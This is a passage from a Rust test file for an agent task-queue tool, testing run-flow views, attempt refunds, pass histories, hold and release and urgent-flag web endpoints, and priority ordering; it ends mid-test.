13081 f.edges[2].label,
13082 "stalled after a resume, refund unknown \u{2192} queued"
13083 );
13084 assert!(!f.nodes[2].decided, "a stall is not a decision");
13085 assert_eq!(f.nodes[2].note, Some("no verdict"));
13086 }
13087
13088 #[test]
13089 fn flow_single_pass_quota_stall_is_refunded() {
13090 let t = flow_task(&[FA]);
13091 let f = flow_for(
13092 &t,
13093 &[(
13094 FA,
13095 Some(flow_run(RunStatus::Stalled, |s| {
13096 s.quota.push(crate::run::QuotaLoss {
13097 seat: "judge-1".to_owned(),
13098 node: "judge".to_owned(),
13099 at: Timestamp::now(),
13100 reset: None,
13101 })
13102 })),
13103 )],
13104 );
13105 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13106 }
13107
13108 #[test]
13109 fn flow_parked_refunds_and_stall_without_quota_spends() {
13110 let mut t = flow_task(&[FA]);
13111 t.status = TaskStatus::Queued;
13112 let f = flow_for(
13113 &t,
13114 &[(
13115 FA,
13116 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
13117 )],
13118 );
13119 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
13120 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13121 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
13122 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
13123 assert!(!f.nodes[1].decided);
13124 }
13125
13126 #[test]
13127 fn flow_keeps_an_unreadable_run_as_its_own_node() {
13128 let t = flow_task(&[FA, FB]);
13129 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
13130 assert_eq!(f.nodes[1].note, Some("unreadable"));
13131 assert!(!f.nodes[1].readable);
13132 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
13133 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
13134 }
13135
13136 #[test]
13137 fn flow_names_the_branch_of_a_review_only_run() {
13138 let t = flow_task(&[FA]);
13139 let f = flow_for(
13140 &t,
13141 &[(
13142 FA,
13143 Some(flow_run(RunStatus::Merged, |s| {
13144 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
13145 })),
13146 )],
13147 );
13148 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
13149 assert_eq!(
13150 f.nodes[1].detail.as_deref(),
13151 Some("review-only run of branch magi/x/A")
13152 );
13153 }
13154
13155 #[test]
13156 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
13157 let mut t = flow_task(&[FA]);
13158 t.status = TaskStatus::Held;
13159 let pr = crate::run::PrRecord {
13160 url: "https://example.test/pr/1".to_owned(),
13161 number: 1,
13162 state: "open".to_owned(),
13163 checks: "green".to_owned(),
13164 round: 0,
13165 rounds: 3,
13166 red_at_merge: Vec::new(),
13167 };
13168 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
13169 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
13170 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
13171 t.status = TaskStatus::Done;
13172 let f = flow_for(&t, &[(FA, Some(blocked))]);
13173 assert_eq!(f.edges[1].label, "closed by hand: task is done");
13174 }
13175
13176 #[test]
13177 fn flow_with_no_runs_goes_from_queued_to_queued() {
13178 let t = flow_task(&[]);
13179 let f = flow_for(&t, &[]);
13180 assert_eq!(f.nodes.len(), 2);
13181 assert_eq!(f.edges.len(), 1);
13182 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
13183 assert_eq!(f.edges[0].attempt, AttemptCost::None);
13184 }
13185
13186 #[test]
13189 fn a_parked_non_terminal_run_is_explained_as_parked() {
13190 let mut s = RunState::new(
13191 PathBuf::from("/repo/magi"),
13192 "main".to_owned(),
13193 "0123456789abcdef".to_owned(),
13194 "Do it".to_owned(),
13195 Config::default(),
13196 );
13197 s.status = RunStatus::Implementing;
13198 s.parked = true;
13199 let task = Task::new(
13200 "t".to_owned(),
13201 "Do it".to_owned(),
13202 PathBuf::from("/repo/magi"),
13203 Source::Human,
13204 );
13205 let v = task_run_view(
13206 "20260902-140501-aaaa",
13207 Some(&s),
13208 RunSlot {
13209 n: 1,
13210 resumed: false,
13211 resumed_later: None,
13212 prior: None,
13213 last: true,
13214 ..RunSlot::default()
13215 },
13216 &task,
13217 );
13218 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
13219 }
13220
13221 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
13222 let mut s = flow_run(RunStatus::Implementing, edit);
13223 s.parked = false;
13224 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
13225 task_run_view(
13226 "20260902-140501-aaaa",
13227 Some(&s),
13228 RunSlot {
13229 n: 1,
13230 resumed: false,
13231 resumed_later: Some(2),
13232 prior: None,
13233 last: false,
13234 ..RunSlot::default()
13235 },
13236 &task,
13237 )
13238 }
13239
13240 #[test]
13241 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
13242 let v = earlier_pass_view(|_| {});
13243 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
13244 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
13245 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
13246 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
13247 assert_eq!(v.exit, RunExit::Interrupted);
13248 assert_eq!(v.attempt, AttemptCost::Unknown);
13249 }
13250
13251 #[test]
13252 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
13253 let v = earlier_pass_view(|s| {
13254 s.quota.push(crate::run::QuotaLoss {
13255 seat: "judge-1".to_owned(),
13256 node: "judge".to_owned(),
13257 at: Timestamp::now(),
13258 reset: None,
13259 });
13260 });
13261 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
13262 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
13263 assert_eq!(v.attempt, AttemptCost::Unknown);
13264 }
13265
13266 #[test]
13267 fn the_current_pass_states_its_recorded_cause_and_cost() {
13268 let slot = || RunSlot {
13269 n: 1,
13270 resumed: false,
13271 resumed_later: None,
13272 prior: None,
13273 last: true,
13274 ..RunSlot::default()
13275 };
13276 let task = flow_task(&["20260902-140501-aaaa"]);
13277 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
13278 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
13279 assert_eq!(
13280 (v.exit, v.attempt),
13281 (RunExit::Parked, AttemptCost::Refunded)
13282 );
13283 let spent = flow_run(RunStatus::Blocked, |_| {});
13284 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
13285 assert_eq!(v.attempt, AttemptCost::Spent);
13286 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
13287 }
13288
13289 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
13290 crate::run::RunPass {
13291 index,
13292 started_at: Timestamp::now(),
13293 resumed: index > 0,
13294 ended_at: end.as_ref().map(|_| Timestamp::now()),
13295 end,
13296 task_entry: true,
13297 }
13298 }
13299
13300 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
13301 Some(crate::run::PassEnd::Parked { cause })
13302 }
13303
13304 fn upgrade_cause() -> crate::run::ParkCause {
13305 crate::run::ParkCause::Upgrade {
13306 from: "0.121.0".to_owned(),
13307 to: Some("0.121.1".to_owned()),
13308 }
13309 }
13310
13311 fn settled_pass(
13312 run: &str,
13313 index: usize,
13314 cost: crate::queue::PassCost,
13315 ) -> crate::queue::TaskPass {
13316 crate::queue::TaskPass {
13317 run: run.to_owned(),
13318 pass_index: index,
13319 cost,
13320 attempts_after: 1,
13321 settled_at: Timestamp::now(),
13322 parked: None,
13323 }
13324 }
13325
13326 const RUN_X: &str = "20261011-223708-4334";
13327
13328 #[test]
13329 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
13330 use crate::queue::PassCost;
13331 let run = flow_run(RunStatus::Implementing, |s| {
13332 s.passes = vec![
13333 recorded_pass(0, parked(upgrade_cause())),
13334 recorded_pass(1, None),
13335 ];
13336 });
13337 let mut task = flow_task(&[RUN_X, RUN_X]);
13338 task.attempts = 1;
13339 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
13340 let h = task_history(&task, |_| Some(run.clone()));
13341 assert_eq!(h.len(), 2);
13342 assert_eq!(h[0].kind, "competition");
13343 assert_eq!(h[1].kind, "resume");
13344 assert_eq!(
13345 (h[0].exit, h[0].attempt),
13346 (RunExit::Parked, AttemptCost::Refunded)
13347 );
13348 assert!(
13349 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
13350 "{}",
13351 h[0].outcome
13352 );
13353 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
13354 assert!(
13355 h[0].outcome.contains("pass #2 resumed the same run"),
13356 "{}",
13357 h[0].outcome
13358 );
13359 assert!(
13360 h[0].outcome.contains("pass 1 of 2 over run"),
13361 "{}",
13362 h[0].outcome
13363 );
13364 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
13365 assert_eq!(
13366 h[0].exit_label,
13367 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
13368 );
13369 let f = task_flow(&task, &h, 2, None);
13370 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
13372 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13373 assert!(
13374 f.edges[1].label.contains("upgrade 0.121.0"),
13375 "{}",
13376 f.edges[1].label
13377 );
13378 assert!(
13379 f.edges[1].label.contains("resume the same run"),
13380 "{}",
13381 f.edges[1].label
13382 );
13383 assert_eq!(f.nodes[1].note, Some("parked"));
13384 }
13385
13386 #[test]
13387 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
13388 let mut a = flow_run(RunStatus::Implementing, |s| {
13389 s.passes = vec![
13390 recorded_pass(0, parked(upgrade_cause())),
13391 recorded_pass(1, None),
13392 ];
13393 });
13394 let mut b = flow_run(RunStatus::Failed, |s| {
13395 s.passes = vec![recorded_pass(0, None)];
13396 });
13397 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
13398 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
13399 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
13400 let mut task = flow_task(&[]);
13401 task.start("a".into());
13402 task.start("b".into());
13403 task.start("a".into());
13404 assert_eq!(task.runs, ["b", "a"]);
13405 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
13406 let h = task_history(&task, |id| {
13407 Some(if id == "a" { a.clone() } else { b.clone() })
13408 });
13409 assert_eq!(
13410 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
13411 ["a", "b", "a"]
13412 );
13413 assert_eq!(h[0].attempt, AttemptCost::Refunded);
13414 assert!(h[0].outcome.contains("upgrade"));
13415 assert_eq!(h[2].kind, "resume");
13416 assert!(h[2].pass.is_some());
13417 task.runs = vec!["a".into(), "b".into(), "a".into()];
13419 let old = task_history(&task, |id| {
13420 Some(if id == "a" { a.clone() } else { b.clone() })
13421 });
13422 assert_eq!(
13423 old.iter()
13424 .map(|v| (&v.id, &v.kind, v.attempt))
13425 .collect::<Vec<_>>(),
13426 h.iter()
13427 .map(|v| (&v.id, &v.kind, v.attempt))
13428 .collect::<Vec<_>>()
13429 );
13430 }
13431
13432 #[test]
13433 fn an_upgrade_whose_target_was_not_known_says_so() {
13434 let run = flow_run(RunStatus::Implementing, |s| {
13435 s.passes = vec![
13436 recorded_pass(
13437 0,
13438 parked(crate::run::ParkCause::Upgrade {
13439 from: "0.121.0".to_owned(),
13440 to: None,
13441 }),
13442 ),
13443 recorded_pass(1, None),
13444 ];
13445 });
13446 let task = flow_task(&[RUN_X, RUN_X]);
13447 let h = task_history(&task, |_| Some(run.clone()));
13448 assert!(
13449 h[0].outcome.contains("upgrade from 0.121.0"),
13450 "{}",
13451 h[0].outcome
13452 );
13453 assert_eq!(h[0].attempt, AttemptCost::Unknown);
13455 }
13456
13457 #[test]
13458 fn each_pass_keeps_its_own_cause_across_several_resumes() {
13459 use crate::queue::PassCost;
13460 use crate::run::ParkCause;
13461 let run = flow_run(RunStatus::Implementing, |s| {
13462 s.passes = vec![
13463 recorded_pass(0, parked(upgrade_cause())),
13464 recorded_pass(
13465 1,
13466 parked(ParkCause::Interrupt {
13467 reason: "task a1b2 asked to run first".to_owned(),
13468 }),
13469 ),
13470 recorded_pass(2, parked(ParkCause::Operator)),
13471 recorded_pass(3, None),
13472 ];
13473 });
13474 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
13475 task.attempts = 1;
13476 task.passes = (0..3)
13477 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
13478 .collect();
13479 let h = task_history(&task, |_| Some(run.clone()));
13480 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
13481 assert!(
13482 h[1].outcome.contains("task a1b2 asked to run first"),
13483 "{}",
13484 h[1].outcome
13485 );
13486 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
13487 assert!(
13488 h[2].outcome.contains("operator asked the loop to park"),
13489 "{}",
13490 h[2].outcome
13491 );
13492 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
13493 let f = task_flow(&task, &h, 2, None);
13494 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
13495 }
13496
13497 #[test]
13498 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
13499 let run = flow_run(RunStatus::Implementing, |s| {
13500 s.passes = vec![
13501 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
13502 recorded_pass(1, None),
13503 ];
13504 });
13505 let task = flow_task(&[RUN_X, RUN_X]);
13506 let h = task_history(&task, |_| Some(run.clone()));
13507 assert_eq!(h[0].exit, RunExit::Interrupted);
13508 assert_eq!(h[0].attempt, AttemptCost::Unknown);
13509 assert!(
13510 h[0].outcome.contains("without recording why"),
13511 "{}",
13512 h[0].outcome
13513 );
13514 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
13515 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
13516 }
13517
13518 #[test]
13519 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
13520 use crate::queue::PassCost;
13521 let run = flow_run(RunStatus::Implementing, |s| {
13524 s.passes = vec![
13525 recorded_pass(0, parked(upgrade_cause())),
13526 recorded_pass(1, None),
13527 ];
13528 });
13529 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
13530 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
13531 let h = task_history(&task, |_| Some(run.clone()));
13532 assert!(h[0].pass.is_none());
13533 assert_eq!(h[0].exit, RunExit::Interrupted);
13534 assert_eq!(h[0].attempt, AttemptCost::Unknown);
13535 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
13536 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
13537 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
13538 let legacy = flow_run(RunStatus::Implementing, |_| {});
13540 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
13541 assert!(h.iter().all(|v| v.pass.is_none()));
13542 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
13543 }
13544
13545 #[test]
13546 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
13547 use crate::queue::PassCost;
13548 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
13551 web.task_entry = false;
13552 let run = flow_run(RunStatus::Implementing, |s| {
13553 s.passes = vec![
13554 recorded_pass(0, parked(upgrade_cause())),
13555 web.clone(),
13556 recorded_pass(2, None),
13557 ];
13558 });
13559 let mut task = flow_task(&[RUN_X, RUN_X]);
13560 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
13561 let h = task_history(&task, |_| Some(run.clone()));
13562 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
13563 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
13564
13565 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
13568 web0.task_entry = false;
13569 let run = flow_run(RunStatus::Implementing, |s| {
13570 s.passes = vec![web0.clone(), recorded_pass(1, None)];
13571 });
13572 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
13573 assert!(h[0].pass.is_none());
13574 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
13575 assert!(h[1].pass.is_some());
13576 }
13577
13578 #[tokio::test]
13579 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
13580 let dir = tempfile::tempdir().unwrap();
13581 let queue = Queue::at(dir.path().join("queue"));
13582 let ui = Arc::new(Ui::new(
13583 queue.clone(),
13584 Questions::at(dir.path().join("questions")),
13585 Talks::at(dir.path().join("talks")),
13586 dir.path().join("runs"),
13587 dir.path().to_path_buf(),
13588 dir.path().to_path_buf(),
13589 ));
13590 let mut t = Task::new(
13591 "recover".into(),
13592 "Inspect".into(),
13593 PathBuf::from("."),
13594 Source::Human,
13595 );
13596 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
13597 t.start("run-A".into());
13598 t.release_operator("choice", Some("resume-question"));
13599 t.resume_override = Some(crate::queue::OperatorResume {
13600 question_id: "resume-question".into(),
13601 at: jiff::Timestamp::now(),
13602 conductor_rehold: None,
13603 forced: true,
13604 pinned_run: Some("run-A".into()),
13605 });
13606 t.hold_machine(Some("inspection pending".into()));
13607 t.edit("recover".into(), "Reuse approved PR head".into())
13608 .unwrap();
13609 queue.put(&mut t).unwrap();
13610 let mut cli = t.clone();
13611 cli.release_operator("cli", None);
13612 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
13613 let reloaded = queue.get(&t.id).unwrap();
13614 assert_eq!(reply.task.status, TaskStatus::Queued);
13615 assert!(reloaded.resume_override.is_none());
13616 assert_eq!(reloaded.answers, t.answers);
13617 let mut web = reloaded.resumption.unwrap();
13618 let cli = cli.resumption.unwrap();
13619 assert_eq!(web.source, "web");
13620 web.source = cli.source.clone();
13621 web.at = cli.at;
13622 assert_eq!(web, cli);
13623 }
13624
13625 #[tokio::test]
13626 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
13627 let f = Fixture::start().await;
13628 let queue = f.queue();
13629 let mut task = Task::new(
13630 "spent".to_owned(),
13631 "Try again".to_owned(),
13632 PathBuf::from("/repo/magi"),
13633 Source::Human,
13634 );
13635 task.start("20260902-140502-bbbb".to_owned());
13636 task.fail("agent gave up", 9);
13637 queue.put(&mut task).expect("file the task");
13638
13639 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
13640 assert_eq!(held.status, 200);
13641 assert_eq!(held.json()["status_str"], "held");
13642
13643 let released = f
13644 .post(&format!("/api/queue/{}/release", task.id), None)
13645 .await;
13646 assert_eq!(released.status, 200);
13647 assert_eq!(released.json()["status_str"], "queued");
13648 assert_eq!(released.json()["resumption"]["source"], "web");
13649 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
13650 let mut cli = task.clone();
13651 cli.release_operator("cli", None);
13652 let web = queue.get(&task.id).unwrap().resumption.unwrap();
13653 let cli = cli.resumption.unwrap();
13654 assert_eq!(web.instruction, cli.instruction);
13655 assert_eq!(web.answers_through, cli.answers_through);
13656 assert_eq!(web.runs_through, cli.runs_through);
13657 assert_eq!(web.cleared_reason, cli.cleared_reason);
13658 assert_eq!(
13659 released.json()["attempts"],
13660 0,
13661 "release is a real second chance, not an instant re-hold"
13662 );
13663 assert_eq!(
13664 queue.get(&task.id).expect("reload").status,
13665 TaskStatus::Queued,
13666 "the change is on disk, not only in the reply"
13667 );
13668 assert!(
13669 !f.home
13670 .path()
13671 .join("queue")
13672 .join(format!("{}.lock", task.id))
13673 .exists(),
13674 "the claim the mutation took is released again"
13675 );
13676 }
13677
13678 #[tokio::test]
13679 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
13680 let f = Fixture::start().await;
13681 let queue = f.queue();
13682 let mut task = Task::new(
13683 "busy".to_owned(),
13684 "Running right now".to_owned(),
13685 PathBuf::from("/repo/magi"),
13686 Source::Human,
13687 );
13688 queue.put(&mut task).expect("file the task");
13689 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
13690
13691 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
13692
13693 assert_eq!(res.status, 409);
13694 assert_eq!(
13695 queue.get(&task.id).expect("reload").status,
13696 TaskStatus::Queued,
13697 "the refused hold changed nothing"
13698 );
13699 }
13700
13701 #[tokio::test]
13702 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
13703 let f = Fixture::start().await;
13704 let queue = f.queue();
13705 let mut task = Task::new(
13706 "waiting on the migration".to_owned(),
13707 "Do the thing".to_owned(),
13708 PathBuf::from("/repo/magi"),
13709 Source::Human,
13710 );
13711 queue.put(&mut task).expect("file the task");
13712
13713 let held = f
13714 .post(
13715 &format!("/api/queue/{}/hold", task.id),
13716 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
13717 )
13718 .await;
13719 assert_eq!(held.status, 200, "{}", held.body);
13720 assert_eq!(held.json()["status_str"], "held");
13721 assert_eq!(
13722 held.json()["hold_reason"],
13723 "waiting for 20260101-000000-aaaa to land"
13724 );
13725
13726 let listed = f.get("/api/queue").await.json();
13727 assert_eq!(
13728 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
13729 "the card reads the reason off the same list route"
13730 );
13731
13732 let mut plain = Task::new(
13735 "no reason given".to_owned(),
13736 "Do another thing".to_owned(),
13737 PathBuf::from("/repo/magi"),
13738 Source::Human,
13739 );
13740 queue.put(&mut plain).expect("file the task");
13741 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
13742 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
13743 assert!(held_plain.json()["hold_reason"].is_null());
13744
13745 let released = f
13746 .post(&format!("/api/queue/{}/release", task.id), None)
13747 .await;
13748 assert_eq!(released.status, 200);
13749 assert!(
13750 released.json()["hold_reason"].is_null(),
13751 "a release must clear the reason so the next hold does not inherit it"
13752 );
13753 }
13754
13755 #[test]
13756 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
13757 for urgent in [true, false] {
13758 let body: UrgentBody =
13759 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
13760 assert_eq!(body.urgent, urgent);
13761 }
13762 for input in [
13763 r#"{}"#,
13764 r#"{"urgent":null}"#,
13765 r#"{"urgent":"true"}"#,
13766 r#"{"urgent":1}"#,
13767 r#"{"urgent":true,"extra":false}"#,
13768 ] {
13769 assert!(
13770 serde_json::from_str::<UrgentBody>(input).is_err(),
13771 "{input}"
13772 );
13773 }
13774 }
13775
13776 #[tokio::test]
13777 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
13778 let home = TempDir::new().unwrap();
13779 let q = Queue::at(home.path().join("queue"));
13780 let ui = Arc::new(Ui::new(
13781 q.clone(),
13782 Questions::at(home.path().join("questions")),
13783 Talks::at(home.path().join("talks")),
13784 home.path().join("runs"),
13785 home.path().into(),
13786 home.path().into(),
13787 ));
13788 let mut task = Task::new(
13789 "urgent handler".into(),
13790 "keep".into(),
13791 home.path().into(),
13792 Source::Human,
13793 );
13794 for status in [TaskStatus::Queued, TaskStatus::Held] {
13795 task.status = status;
13796 q.put(&mut task).unwrap();
13797 for urgent in [true, true, false, false] {
13798 let saved = queue_urgent(
13799 State(Arc::clone(&ui)),
13800 Path(task.short().into()),
13801 Ok(Json(UrgentBody { urgent })),
13802 )
13803 .await
13804 .unwrap();
13805 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
13806 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
13807 }
13808 }
13809 task.status = TaskStatus::Queued;
13810 q.put(&mut task).unwrap();
13811 let claim = q.claim(&task.id).unwrap();
13812 let error = queue_urgent(
13813 State(Arc::clone(&ui)),
13814 Path(task.id.clone()),
13815 Ok(Json(UrgentBody { urgent: true })),
13816 )
13817 .await
13818 .unwrap_err();
13819 assert_eq!(error.status, StatusCode::CONFLICT);
13820 assert!(error.message.contains("released"));
13821 drop(claim);
13822 for status in [
13823 TaskStatus::Running,
13824 TaskStatus::Done,
13825 TaskStatus::Failed,
13826 TaskStatus::Blocked,
13827 TaskStatus::Parked,
13828 ] {
13829 task.status = status;
13830 q.put(&mut task).unwrap();
13831 let error = queue_urgent(
13832 State(Arc::clone(&ui)),
13833 Path(task.id.clone()),
13834 Ok(Json(UrgentBody { urgent: false })),
13835 )
13836 .await
13837 .unwrap_err();
13838 assert_eq!(error.status, StatusCode::BAD_REQUEST);
13839 assert!(error.message.contains(status.as_str()));
13840 }
13841 }
13842
13843 #[tokio::test]
13844 async fn urgent_api_updates_preserves_and_validates_tasks() {
13845 let f = Fixture::start().await;
13846 let q = f.queue();
13847 let mut t = Task::new(
13848 "urgent API".into(),
13849 "unchanged".into(),
13850 PathBuf::from("/repo/magi"),
13851 Source::Human,
13852 );
13853 t.attempts = 2;
13854 t.priority = 9;
13855 t.interrupt = true;
13856 t.hold_reason = Some("waiting for approval".into());
13857 for status in [TaskStatus::Queued, TaskStatus::Held] {
13858 t.status = status;
13859 q.put(&mut t).unwrap();
13860 for urgent in [true, true, false, false] {
13861 let response = f
13862 .post(
13863 &format!("/api/queue/{}/urgent", t.short()),
13864 Some(&format!("{{\"urgent\":{urgent}}}")),
13865 )
13866 .await;
13867 assert_eq!(response.status, 200, "{}", response.body);
13868 assert_eq!(response.json()["urgent"], urgent);
13869 let saved = q.get(&t.id).unwrap();
13870 let mut before = serde_json::to_value(&t).unwrap();
13871 let mut after = serde_json::to_value(saved).unwrap();
13872 before["urgent"] = urgent.into();
13873 before.as_object_mut().unwrap().remove("updated_at");
13874 after.as_object_mut().unwrap().remove("updated_at");
13875 assert_eq!(after, before);
13876 }
13877 }
13878 let route = format!("/api/queue/{}/urgent", t.id);
13879 for body in [
13880 r#"{}"#,
13881 r#"{"urgent":null}"#,
13882 r#"{"urgent":"true"}"#,
13883 r#"{"urgent":1}"#,
13884 r#"{"urgent":true,"extra":false}"#,
13885 "{",
13886 ] {
13887 assert_eq!(f.post(&route, Some(body)).await.status, 400);
13888 }
13889 t.status = TaskStatus::Queued;
13890 q.put(&mut t).unwrap();
13891 let claim = q.claim(&t.id).unwrap();
13892 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
13893 assert_eq!(response.status, 409, "{}", response.body);
13894 assert!(!q.get(&t.id).unwrap().urgent);
13895 drop(claim);
13896 for status in [
13897 TaskStatus::Running,
13898 TaskStatus::Done,
13899 TaskStatus::Failed,
13900 TaskStatus::Blocked,
13901 TaskStatus::Parked,
13902 ] {
13903 t.status = status;
13904 q.put(&mut t).unwrap();
13905 for urgent in [true, false] {
13906 let response = f
13907 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
13908 .await;
13909 assert_eq!(response.status, 400, "{}", response.body);
13910 assert!(response.body.contains(status.as_str()));
13911 assert!(response.body.contains("queued or held"));
13912 assert!(!q.get(&t.id).unwrap().urgent);
13913 }
13914 }
13915 assert_eq!(
13916 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
13917 .await
13918 .status,
13919 404
13920 );
13921 }
13922
13923 #[tokio::test]
13924 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
13925 let f = Fixture::start().await;
13926 let queue = f.queue();
13927 let mut older = Task::new(
13928 "filed first".to_owned(),
13929 "x".to_owned(),
13930 PathBuf::from("/repo/magi"),
13931 Source::Human,
13932 );
13933 older.id = "20260101-000001-aaaa".to_owned();
13934 let mut newer = Task::new(
13935 "filed second".to_owned(),
13936 "x".to_owned(),
13937 PathBuf::from("/repo/magi"),
13938 Source::Human,
13939 );
13940 newer.id = "20260101-000002-bbbb".to_owned();
13941 queue.put(&mut older).expect("file older");
13942 queue.put(&mut newer).expect("file newer");
13943
13944 let before = f.get("/api/queue").await.json();
13947 assert_eq!(before[0]["id"], newer.id);
13948 assert_eq!(before[1]["id"], older.id);
13949
13950 let raised = f
13954 .post(
13955 &format!("/api/queue/{}/priority", older.id),
13956 Some(r#"{"priority":10}"#),
13957 )
13958 .await;
13959 assert_eq!(raised.status, 200, "{}", raised.body);
13960 assert_eq!(raised.json()["priority"], 10);
13961
13962 let after = f.get("/api/queue").await.json();
13963 let names: Vec<&str> = after
13964 .as_array()
13965 .unwrap()
13966 .iter()
13967 .map(|t| t["id"].as_str().unwrap())
13968 .collect();
13969 assert_eq!(names[0], older.id, "the raised task now sorts first");
13973 }
13974
13975 #[tokio::test]
13976 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
13977 let dir = TempDir::new().unwrap();
13978 let q = Queue::at(dir.path().join("queue"));
13979 let ui = Arc::new(Ui::new(
13980 q.clone(),
13981 Questions::at(dir.path().join("questions")),
13982 Talks::at(dir.path().join("talks")),
13983 dir.path().join("runs"),
13984 dir.path().to_path_buf(),
13985 dir.path().to_path_buf(),
13986 ));
13987 let mut t = Task::new(
13988 "budget".into(),
13989 "keep".into(),
13990 dir.path().into(),
13991 Source::Human,
13992 );
13993 t.attempts = 2;
13994 t.runs.push("prior-run".into());
13995 t.hold_manual(Some("waiting".into()));
13996 q.put(&mut t).unwrap();
13997 let change = |value| {
13998 queue_attempt_limit(
13999 State(ui.clone()),
14000 Path(t.id.clone()),
